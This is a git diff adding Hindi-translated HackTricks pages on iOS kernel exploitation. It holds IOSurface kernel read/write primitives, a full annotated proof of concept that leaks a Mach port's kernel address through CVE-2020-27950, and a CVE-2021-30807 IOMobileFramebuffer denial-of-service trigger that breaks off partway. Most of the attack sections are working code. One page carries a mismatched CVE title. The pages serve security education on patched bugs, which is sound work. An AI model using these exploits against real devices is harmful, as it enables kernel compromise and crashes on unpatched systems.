рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВред -2. 64-рдмрд┐рдЯ рдорд╛рди рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП `set_indexed_timestamp` рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред -```c -void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { -uint64_t args[3] = {surfaceID, 0, value}; -IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); -} - -void iosurface_kwrite64(uint64_t addr, uint64_t value) { -uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); -iosurface_set_indexed_timestamp_pointer(info.object, addr); -set_indexed_timestamp(info.client, info.surface, value); -iosurface_set_indexed_timestamp_pointer(info.object, orig); -} -``` -#### Exploit Flow Recap - -1. **Trigger Physical Use-After-Free**: рдлреНрд░реА рдкреЗрдЬ рдлрд┐рд░ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рд╣реИрдВред -2. **Spray IOSurface Objects**: рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп "рдЬрд╛рджреБрдИ рдорд╛рди" рдХреЗ рд╕рд╛рде рдХрдИ IOSurface рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдЖрд╡рдВрдЯрд┐рдд рдХрд░реЗрдВред -3. **Identify Accessible IOSurface**: рдПрдХ IOSurface рдХреЛ рдЦреЛрдЬреЗрдВ рдЬреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдПрдХ рдлреНрд░реА рдкреЗрдЬ рдкрд░ рд╣реИред -4. **Abuse Use-After-Free**: IOSurface рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ IOSurface рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдордирдорд╛рдиреЗ **рдХрд░реНрдиреЗрд▓ рдкрдврд╝рдиреЗ/рд▓рд┐рдЦрдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓ рд╕рдХреЗред - -рдЗрди рдкреНрд░рд╛рдЗрдорд┐рдЯрд┐рд╡реНрд╕ рдХреЗ рд╕рд╛рде, рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдирд┐рдпрдВрддреНрд░рд┐рдд **32-рдмрд┐рдЯ рдкрдврд╝рдиреЗ** рдФрд░ **64-рдмрд┐рдЯ рд▓рд┐рдЦрдиреЗ** рдХреА рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЖрдЧреЗ рдХреЗ рдЬреЗрд▓рдмреНрд░реЗрдХ рдЪрд░рдгреЛрдВ рдореЗрдВ рдЕрдзрд┐рдХ рд╕реНрдерд┐рд░ рдкрдврд╝рдиреЗ/рд▓рд┐рдЦрдиреЗ рдХреЗ рдкреНрд░рд╛рдЗрдорд┐рдЯрд┐рд╡реНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реБрд░рдХреНрд╖рд╛ (рдЬреИрд╕реЗ, рдирдП arm64e рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ PPL) рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..cbed0076b --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,332 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## рдмрдЧ + +You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), рд▓реЗрдХрд┐рди рд╕рд╛рд░рд╛рдВрд╢ рдореЗрдВ: + +рд╣рд░ Mach message рдЬреЛ kernel рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ рдПрдХ **"trailer"** рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ: рдПрдХ variable-length struct рдЬрд┐рд╕рдореЗрдВ metadata (seqno, sender token, audit token, context, access control data, labels...) рд╣реЛрддрд╛ рд╣реИред kernel message buffer рдореЗрдВ рд╣рдореЗрд╢рд╛ рд╕рдмрд╕реЗ рдмрдбрд╝реЗ рд╕рдВрднрд╡ trailer (MAX_TRAILER_SIZE) рдХреЛ рдЖрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдкрд░ **рдХреЗрд╡рд▓ рдХреБрдЫ fields рдХреЛ рд╣реА initialize** рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдмрд╛рдж рдореЗрдВ **user-controlled receive options** рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдпрд╣ рддрдп рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХрд┐рд╕ trailer size рдХреЛ return рдХрд░рдирд╛ рд╣реИред + +These are the trailer relevant structs: +```c +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +mach_port_seqno_t msgh_seqno; +security_token_t msgh_sender; +audit_token_t msgh_audit; +mach_port_context_t msgh_context; +int msgh_ad; +msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` +рдлрд┐рд░, рдЬрдм trailer object рдЬреЗрдирд░реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреЗрд╡рд▓ рдХреБрдЫ fields рд╣реА рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ max trailer size рд╣рдореЗрд╢рд╛ рд░рд┐рдЬрд╝рд░реНрд╡ рд░рд╣рддреА рд╣реИ: +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` +рдлрд┐рд░, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬрдм `mach_msg()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА mach message рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ, рддреЛ рд╕рдВрджреЗрд╢ рдореЗрдВ trailer рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП `ipc_kmsg_add_trailer()` рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ tailer size рдХреА рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдХреБрдЫ рдЕрдиреНрдп trailer рдлрд╝реАрд▓реНрдб рднрд░реЗ рдЬрд╛рддреЗ рд╣реИрдВ: +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] +return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` +`option` рдкреИрд░рд╛рдореАрдЯрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ, рдЗрд╕рд▓рд┐рдП **рдРрд╕рд╛ рдорд╛рди рджреЗрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ `if` рдЪреЗрдХ рдХреЛ рдкрд╛рд╕ рдХрд░реЗред** + +рдЗрд╕ рдЪреЗрдХ рдХреЛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдПрдХ рд╡реИрдз рд╕рдорд░реНрдерд┐рдд `option` рднреЗрдЬрдирд╛ рд╣реЛрдЧрд╛: +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` +рд▓реЗрдХрд┐рди, рдХреНрдпреЛрдВрдХрд┐ `MACH_RCV_TRAILER_MASK` рдХреЗрд╡рд▓ рдмрд┐рдЯреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рд╣рдо `0` рдФрд░ `8` рдХреЗ рдмреАрдЪ рдХреЛрдИ рднреА рдорд╛рди рдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ `if` рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рд╡реЗрд╢ рди рд╣реЛред + +рдлрд┐рд░, рдХреЛрдб рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рддреЗ рд╣реБрдП рдЖрдк рдкрд╛рдПрдБрдЧреЗ: +```c +if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { +trailer->msgh_ad = 0; +} + +/* +* The ipc_kmsg_t holds a reference to the label of a label +* handle, not the port. We must get a reference to the port +* and a send right to copyout to the receiver. +*/ + +if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { +trailer->msgh_labels.sender = 0; +} + +done: +#ifdef __arm64__ +ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + +return trailer->msgh_trailer_size; +``` +Where you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`. + +рдЕрдЧрд░ рдЖрдк рдзреНрдпрд╛рди рджреЗрдВ, **`msgh_ad`** рдЕрднреА рднреА trailer рдХрд╛ рдПрдХрдорд╛рддреНрд░ рдРрд╕рд╛ рдлреАрд▓реНрдб рдерд╛ рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ initialize рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдЬреЛ рдкрд╣рд▓реЗ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдореЗрдореЛрд░реА рд╕реЗ рдХреЛрдИ leak рд░рдЦ рд╕рдХрддрд╛ рдерд╛ред + +рдЗрд╕рд▓рд┐рдП, рдЗрд╕реЗ initialize рд╣реЛрдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ `option` рдорд╛рди `5` рдпрд╛ `6` рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдП, рддрд╛рдХрд┐ рдпрд╣ рдкрд╣рд▓реЗ `if` рдЪреЗрдХ рдХреЛ рдкрд╛рд╕ рдХрд░ рд▓реЗ рдФрд░ рдЙрд╕ `if` рдореЗрдВ рди рдЬрд╛рдП рдЬреЛ `msgh_ad` рдХреЛ initialize рдХрд░рддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдорд╛рди `5` рдФрд░ `6` рдХрд╛ рдХреЛрдИ trailer type рдЬреБрдбрд╝рд╛ рдирд╣реАрдВ рд╣реЛрддрд╛ред + +### Basic PoC + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ PoC рд╣реИ рдЬреЛ рдХреБрдЫ random рдбреЗрдЯрд╛ рдХреЗрд╡рд▓ leak рдХрд░рддрд╛ рд╣реИред + +### Leak Kernel Address PoC + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ PoC рд╣реИ рдЬреЛ рдПрдХ kernel address leak рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд▓рд┐рдП, рд╕рдВрджреЗрд╢ рдореЗрдВ `mach_msg_port_descriptor_t` structs рд╕реЗ рднрд░рд╛ рд╣реБрдЖ рдПрдХ message рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕ structure рдХрд╛ `name` field userland рдореЗрдВ рдПрдХ unsigned int рд░рдЦрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди kernel рдореЗрдВ `name` field рдПрдХ struct `ipc_port` pointer рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрди structs рдХреА рдХрдИ рдкреНрд░рддрд┐рдпрд╛рдБ message рдореЗрдВ рднреЗрдЬрдиреЗ рд╕реЗ kernel рдХреЗ рдХрдИ addresses message рдХреЗ рдЕрдВрджрд░ add рд╣реЛ рдЬрд╛рдПрдВрдЧреЗ рддрд╛рдХрд┐ рдЙрдирдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ leak рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред + +рдмреЗрд╣рддрд░ рд╕рдордЭ рдХреЗ рд▓рд┐рдП рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рдЬреЛрдбрд╝реА рдЧрдИрдВ: +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors тЖТ larger descriptor array in kmsg +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors тЖТ leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { +mach_port_t port; // our local receive port (target of sends) +mach_port_t sent_port; // the port whose kernel address we want to leak + +/* +* 1) Create a receive right and attach a send right so we can send to ourselves. +* This gives us predictable control over ipc_kmsg allocations when we send. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + +/* +* 2) Create another receive port (sent_port). We'll reference this port +* in OOL descriptors so the kernel stores pointers to its ipc_port +* structure in the kmsg тЖТ those pointers are what we aim to leak. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); +mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + +printf("[*] Will get port %x address\n", sent_port); + +message_big_t *big_message = NULL; +message_small_t *small_message = NULL; + +// Compute userland sizes of our message structs +mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); +mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + +// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) +big_message = malloc(big_size + MAX_TRAILER_SIZE); +small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +/* +* 3) Prepare the "big" message: +* - Complex bit set (has descriptors) +* - 50 OOL port descriptors, all pointing to the same sent_port +* When you send a Mach message with port descriptors, the kernel тАЬcopy-insтАЭ the userland port names (integers in your processтАЩs IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). +* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU тАЬcopy-outsтАЭ and converts those pointers back into names. This is explicitly documented in the copyout path: тАЬthe remote/local port fields contain port names instead of object pointersтАЭ (meaning they were pointers in-kernel). +*/ +printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); +memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + +big_message->header.msgh_remote_port = port; // send to our receive right +big_message->header.msgh_size = big_size; +big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +big_message->body.msgh_descriptor_count = LEAK_PORTS; + +for (int i = 0; i < LEAK_PORTS; i++) { +big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers +} + +/* +* 4) Prepare the "small" message: +* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, +* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. +*/ +printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); +memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +small_message->header.msgh_remote_port = port; +small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + +for (int i = 0; i < LEAK_PORTS - 10; i++) { +small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +small_message->sent_ports[i].name = sent_port; +} + +/* +* 5) Receive buffer for reading back messages with trailers. +* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). +* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized +* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. +*/ +uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); +mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) +uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + +/* +* ---------- Exploitation sequence ---------- +* +* Step A: Send the "big" message тЖТ allocate a kalloc.1024 ipc_kmsg that contains many +* kernel pointers (ipc_port*) in its descriptor array. +*/ +printf("[*] Sending message 1\n"); +mach_msg(&big_message->header, +MACH_SEND_MSG, +big_size, // send size +0, // no receive +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step B: Immediately receive/discard it with a zero-sized buffer. +* This frees the kalloc chunk without copying descriptors back, +* leaving the kernel pointers resident in freed memory (stale). +*/ +printf("[*] Discarding message 1\n"); +mach_msg((mach_msg_header_t *)0, +MACH_RCV_MSG, // try to receive +0, // send size 0 +0, // recv size 0 (forces error/free path) +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step C: Reuse the same size-class with the "small" message (fewer descriptors). +* We slightly bump msgh_size by +4 so that when the kernel appends +* the trailer, the trailer's uninitialized field `msgh_ad` overlaps +* the low 4 bytes of a stale ipc_port* pointer from the prior message. +*/ +small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window +printf("[*] Sending message 2\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t), +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step D: Receive message 2 and request an invalid trailer elements value (5). +* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero тЖТ the kernel computes a trailer. +* - Elements=5 doesn't match any valid enum тЖТ REQUESTED_TRAILER_SIZE(...) falls back to max size. +* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), +* so with 5, `msgh_ad` remains uninitialized тЖТ stale bytes leak. +*/ +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 2\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 +0, +small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +// Trailer begins right after the message body we sent (small_size + 4) +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + +// Leak low 32 bits from msgh_ad (stale data тЖТ expected to be the low dword of an ipc_port*) +sent_port_address |= (uint32_t)trailer->msgh_ad; + +/* +* Step E: Repeat the AтЖТD cycle but now shift by another +4 bytes. +* This moves the overlap window so `msgh_ad` captures the high 4 bytes. +*/ +printf("[*] Sending message 3\n"); +mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +printf("[*] Discarding message 3\n"); +mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +// add another +4 to msgh_size тЖТ total +8 shift from the baseline +small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; +printf("[*] Sending message 4\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t)*2, +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 4\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), +0, +small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + +// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer +sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + +printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + +return 0; +} +``` +## рд╕рдВрджрд░реНрдн + +- [Synacktiv рдХрд╛ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..403c417cf --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,297 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## рдмрдЧ + +рдпрд╣рд╛рдБ [vuln рдХрд╛ рдПрдХ рд╢рд╛рдирджрд╛рд░ рд╕реНрдкрд╖реНрдЯреАрдХрд░рдг](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), рд▓реЗрдХрд┐рди рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ: + +- рдХрдордЬреЛрд░ рдХреЛрдб рдкрде **external method #83** рд╣реИ **IOMobileFramebuffer / AppleCLCD** user client рдХрд╛: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. рдпрд╣ method рдПрдХ рдРрд╕рд╛ parameter рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ user рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдХрд┐рд╕реА рднреА рддрд░рд╣ рд╕реЗ рдЬрд╛рдБрдЪрд╛ рдирд╣реАрдВ рдЬрд╛рддрд╛ рдФрд░ рдЕрдЧрд▓реЗ function рдХреЛ **`scalar0`** рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рд╣реЛрддрд╛ рд╣реИред + +- рд╡рд╣ method рдЖрдЧреЗ рдлрд╝реЙрд░рд╡рд░реНрдб рдХрд░рддрд╛ рд╣реИ **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`** рдореЗрдВ, рдЬрд╣рд╛рдБ **`scalar0`** (рдПрдХ user-controlled **32-bit** value) рдмрд┐рдирд╛ рдХрд┐рд╕реА **bounds check** рдХреЗ рдПрдХ рдЖрдВрддрд░рд┐рдХ **pointers рдХреЗ array** рдореЗрдВ **index** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ: + +> `ptr = *(this + 0xA58 + scalar0 * 8);` тЖТ passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\ +> **рдкрд░рд┐рдгрд╛рдо:** **OOB pointer read & type confusion** рдЙрд╕ array рдкрд░ред рдпрджрд┐ pointer рд╡реИрдз рдирд╣реАрдВ рд╣реИ, рддреЛ kernel deref рдкреИрдирд┐рдХ рдХрд░реЗрдЧрд╛ тЖТ **DoS**ред + +> [!NOTE] +> рдпрд╣ **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** рдореЗрдВ рдлрд┐рдХреНрд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ + + +> [!WARNING] +> `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреНрд░рд╛рд░рдореНрднрд┐рдХ function entitlement **`com.apple.private.allow-explicit-graphics-priority`** рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, **WebKit.WebContent** рдХреЗ рдкрд╛рд╕ рдпрд╣ entitlement рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ sandboxed process рд╕реЗ vuln рдХреЛ trigger рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред + +## DoS PoC + +рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореВрд▓ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рд╕реЗ рдкреНрд░рд╛рд░рдореНрднрд┐рдХ DoS PoC рд╣реИ, рдЕрддрд┐рд░рд┐рдХреНрдд рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде: +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; + +// The "type" argument is the type (selector) of user client to open. +// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the +// external methods we need (incl. selector 83). If this doesn't work on your +// build, try different types or query IORegistry to enumerate. +int type = 2; + +// 1) Locate the IOMobileFramebuffer service in the IORegistry. +// This returns the first matched service object (a kernel object handle). +io_service_t service = IOServiceGetMatchingService( +kIOMasterPortDefault, +IOServiceMatching("IOMobileFramebuffer")); + +if (service == MACH_PORT_NULL) { +printf("failed to open service\n"); +return; +} + +printf("service: 0x%x\n", service); + +// 2) Open a connection (user client) to the service. +// The user client is what exposes external methods to userland. +// 'type' selects which user client 